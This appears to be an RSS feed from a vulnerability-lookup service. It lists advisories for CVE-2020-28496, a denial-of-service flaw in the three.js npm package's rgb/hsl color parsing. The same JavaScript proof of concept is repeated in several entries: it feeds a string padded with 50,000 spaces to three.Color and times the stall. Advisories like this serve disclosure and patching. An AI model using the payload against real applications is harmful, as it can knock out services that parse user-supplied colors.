https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-16T22:35:48.338603+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/euvd-2026-179169 EUVD-2026-179169 2026-10-16T22:35:48.440166+00:00 EUVD-2026-179169 https://cve.radiocsirt.org/vuln/fkie_cve-2020-28496 fkie_cve-2020-28496 2026-10-16T22:35:48.440226+00:00

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

 https://cve.radiocsirt.org/vuln/ghsa-fq6p-x6j3-cmmq GHSA-fq6p-x6j3-cmmq — Denial of service in three 2026-10-16T22:35:48.440291+00:00

Affected: npm: three

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

**PoC:** ```js var three = require('three') function build_blank(n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost + " ms") ```

 https://cve.radiocsirt.org/vuln/gsd-2020-28496 gsd-2020-28496 2026-10-16T22:35:48.440344+00:00 gsd-2020-28496 https://cve.radiocsirt.org/vuln/ubuntu-cve-2020-28496 UBUNTU-CVE-2020-28496 2026-10-16T22:35:48.440369+00:00

Affected: Ubuntu:16.04:LTS: three.js, Ubuntu:18.04:LTS: three.js, Ubuntu:20.04:LTS: three.js, Ubuntu:22.04:LTS: three.js, Ubuntu:24.04:LTS: three.js, Ubuntu:25.10: three.js, Ubuntu:26.04:LTS: three.js

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")